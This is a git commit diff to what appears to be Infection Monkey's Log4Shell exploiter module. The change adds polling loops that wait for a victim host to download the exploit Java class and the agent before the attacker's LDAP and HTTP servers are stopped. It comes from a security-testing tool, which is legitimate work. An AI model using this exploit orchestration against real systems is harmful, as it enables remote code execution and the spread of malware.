Agent: Wait for victim to download agent before killing servers

The Log4Shell exploiter requires the victim to contact a number of
different servers. Wait a reasonable amount of time for the victim to
call home and download the agent before issuing the shutdown command to
the server.
This commit is contained in:
Mike Salvatore 2022-01-20 10:26:12 -05:00
parent e576136a63
commit d21dd6da13
1 changed files with 46 additions and 10 deletions

View File

@ -1,5 +1,5 @@
import logging import logging
from time import sleep import time
from common.utils.exploit_enum import ExploitType from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit.log4shell_utils import ( from infection_monkey.exploit.log4shell_utils import (
@ -13,6 +13,7 @@ from infection_monkey.exploit.log4shell_utils import (
from infection_monkey.exploit.tools.helpers import get_monkey_depth from infection_monkey.exploit.tools.helpers import get_monkey_depth
from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.model import DOWNLOAD_TIMEOUT as AGENT_DOWNLOAD_TIMEOUT
from infection_monkey.model import ( from infection_monkey.model import (
DROPPER_ARG, DROPPER_ARG,
LOG4SHELL_LINUX_COMMAND, LOG4SHELL_LINUX_COMMAND,
@ -31,8 +32,10 @@ class Log4ShellExploiter(WebRCE):
_TARGET_OS_TYPE = ["linux", "windows"] _TARGET_OS_TYPE = ["linux", "windows"]
EXPLOIT_TYPE = ExploitType.VULNERABILITY EXPLOIT_TYPE = ExploitType.VULNERABILITY
_EXPLOITED_SERVICE = "Log4j" _EXPLOITED_SERVICE = "Log4j"
DOWNLOAD_TIMEOUT = 15 SERVER_SHUTDOWN_TIMEOUT = 15
REQUEST_TO_VICTIM_TIME = 5 # Max time agent will wait for the response from victim in SECONDS REQUEST_TO_VICTIM_TIMEOUT = (
5 # Max time agent will wait for the response from victim in SECONDS
)
def __init__(self, host: VictimHost): def __init__(self, host: VictimHost):
super().__init__(host) super().__init__(host)
@ -101,11 +104,11 @@ class Log4ShellExploiter(WebRCE):
def _stop_servers(self): def _stop_servers(self):
logger.debug("Stopping all LDAP and HTTP Servers") logger.debug("Stopping all LDAP and HTTP Servers")
self._agent_http_server_thread.stop(Log4ShellExploiter.DOWNLOAD_TIMEOUT) self._agent_http_server_thread.stop(Log4ShellExploiter.SERVER_SHUTDOWN_TIMEOUT)
self._exploit_class_http_server.stop(Log4ShellExploiter.DOWNLOAD_TIMEOUT) self._exploit_class_http_server.stop(Log4ShellExploiter.SERVER_SHUTDOWN_TIMEOUT)
self._ldap_server.stop(Log4ShellExploiter.DOWNLOAD_TIMEOUT) self._ldap_server.stop(Log4ShellExploiter.SERVER_SHUTDOWN_TIMEOUT)
def _build_ldap_payload(self) -> str: def _build_ldap_payload(self) -> str:
interface_ip = get_interface_to_target(self.host.ip_addr) interface_ip = get_interface_to_target(self.host.ip_addr)
@ -147,13 +150,46 @@ class Log4ShellExploiter(WebRCE):
f"potential {exploit.service_name} service: {ex}" f"potential {exploit.service_name} service: {ex}"
) )
# Wait for request if self._wait_for_victim():
sleep(Log4ShellExploiter.REQUEST_TO_VICTIM_TIME)
if self._exploit_class_http_server.exploit_class_downloaded():
self.exploit_info["vulnerable_service"] = { self.exploit_info["vulnerable_service"] = {
"service_name": exploit.service_name, "service_name": exploit.service_name,
"port": port, "port": port,
} }
return True return True
return False return False
def _wait_for_victim(self) -> bool:
victim_called_back = False
victim_called_back = self._wait_for_victim_to_download_java_bytecode()
if victim_called_back:
self._wait_for_victim_to_download_agent()
return victim_called_back
def _wait_for_victim_to_download_java_bytecode(self) -> bool:
start_time = time.time()
while not self._victim_timeout_expired(
start_time, Log4ShellExploiter.REQUEST_TO_VICTIM_TIMEOUT
):
if self._exploit_class_http_server.exploit_class_downloaded():
return True
time.sleep(1)
return False
def _wait_for_victim_to_download_agent(self):
start_time = time.time()
while not self._victim_timeout_expired(start_time, AGENT_DOWNLOAD_TIMEOUT):
if self._agent_http_server_thread.downloads > 0:
break
time.sleep(1)
@classmethod
def _victim_timeout_expired(cls, start_time: float, timeout: int) -> bool:
return timeout < (time.time() - start_time)